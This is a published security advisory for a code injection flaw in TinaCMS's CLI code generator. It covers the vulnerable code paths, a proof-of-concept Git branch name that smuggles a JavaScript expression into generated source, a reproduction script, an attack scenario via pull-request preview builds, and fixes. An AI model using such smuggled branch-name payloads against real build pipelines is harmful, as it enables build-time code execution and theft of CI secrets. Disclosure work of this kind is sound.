CVE-2026-108259: Tina: Code injection via unescaped Git branch name in generated client source
Summary @tinacms/cli inserts the raw Git branch value into the generated client.ts source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.
Published Oct 9, 2026
Affected packages
@tinacms/cli
- Ecosystem
- npm
- Affected
- <= 2.7.0
- Fixed in
- 3.0.0
- Check
npm ls @tinacms/cli
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
@tinacms/cli inserts the raw Git branch value into the generated client.ts source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.
Affected component
- Source (branch read):
packages/@tinacms/cli/src/cmds/init/templates/config.tslines 155–172 — readsVERCEL_GIT_COMMIT_REF,GITHUB_BRANCH, orHEADintoconfig.branch - Transform (URL build):
packages/@tinacms/cli/src/next/codegen/index.tslines 219–253 —_createApiUrl()concatenates the raw branch into the API URL with noencodeURIComponent - Sink (template):
packages/@tinacms/cli/src/next/codegen/index.tslines 363–381 —genClient()interpolates the URL intourl: '${apiURL}' - Sibling sink:
packages/@tinacms/cli/src/next/codegen/codegen/plugin.tsline 55 —url: "${apiURL}"(same pattern, double quotes)
Root cause
The codegen template at index.ts:376 uses:
url: '${apiURL}'where apiURL contains the raw branch name. No JSON.stringify, encodeURIComponent, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.
Payload
The following is a valid Git branch name (git check-ref-format accepts it):
x'+(globalThis.__TINA_PROBE='hit')+'Generated source (sink)
When codegen runs with this branch, the generated client.ts contains:
export const client = createClient({
url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
token: '<token>',
queries,
});The ' in the branch name closes the URL string. +(globalThis.__TINA_PROBE='hit')+ is parsed as a JavaScript expression. The trailing +' reopens a string to keep the syntax valid.
Steps to reproduce
Prerequisites: Node.js, Git, npm
mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuildCreate repro.mjs:
import { transform } from 'esbuild';
import vm from 'vm';
// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";
// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;
// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;
console.log("Generated source:\n", generated);
// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });
// Execute in sandboxed VM
const sandbox = {
globalThis: {},
module: { exports: {} },
exports: {},
require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);
console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hitRun: node repro.mjs
Result: globalThis.__TINA_PROBE is set to 'hit', confirming the injected expression executed during module evaluation.
Negative control: Repeating with branch = "feature/safe-branch" does not trigger injection.
Impact
The injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:
- Build environment variables are accessible (
process.env), which may includeNPM_TOKEN,VERCEL_TOKEN, cloud provider secrets, and API keys - Build artifacts can be modified, enabling supply-chain compromise of the deployed output
- Network access is available to exfiltrate data
Attack scenario: An attacker opens a pull request to any open-source project that uses TinaCMS with preview deployments enabled (Vercel auto-deploys every PR branch). The attacker's branch name contains the payload. The preview build runs Tina codegen, generates the injected client.ts, and the attacker's code executes during the build.
Preconditions:
- Attacker can create a branch or PR that triggers a consumer build
- Consumer uses TinaCMS with the scaffolded branch config (reading from
VERCEL_GIT_COMMIT_REFor equivalent) - Tina SDK codegen is enabled (default)
Severity rationale
High — build-time arbitrary code execution via a controlled Git ref. Critical was not claimed because no real secret exfiltration or release artifact tampering was demonstrated in this proof; only a benign marker was used.
Suggested fix
- Use
JSON.stringify(value)to safely serialize any runtime value interpolated into generated source templates - Apply
encodeURIComponent()to the branch value before constructing the API URL path segment - Apply the same treatment to
apiURL,token,errorPolicy,cacheDir, and the siblingAddGeneratedClientFunctemplate inplugin.ts - Consider moving runtime values out of source templates entirely — pass them through a JSON config file that the generated client reads at runtime
Related advisory
GHSA-4936-9hrh-qqpw — TinaCMS Forestry migration generated-source RCE. Different source (Forestry YAML labels), different parser (__TINA_INTERNAL__ unquoting helper), and different sink (tina/templates.ts). This report is not a duplicate.
Credited to canhieu.
References
- https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c
- https://github.com/tinacms/tinacms/pull/7526
- https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/[email protected]
- https://github.com/advisories/GHSA-pwhx-cvv3-qj5c
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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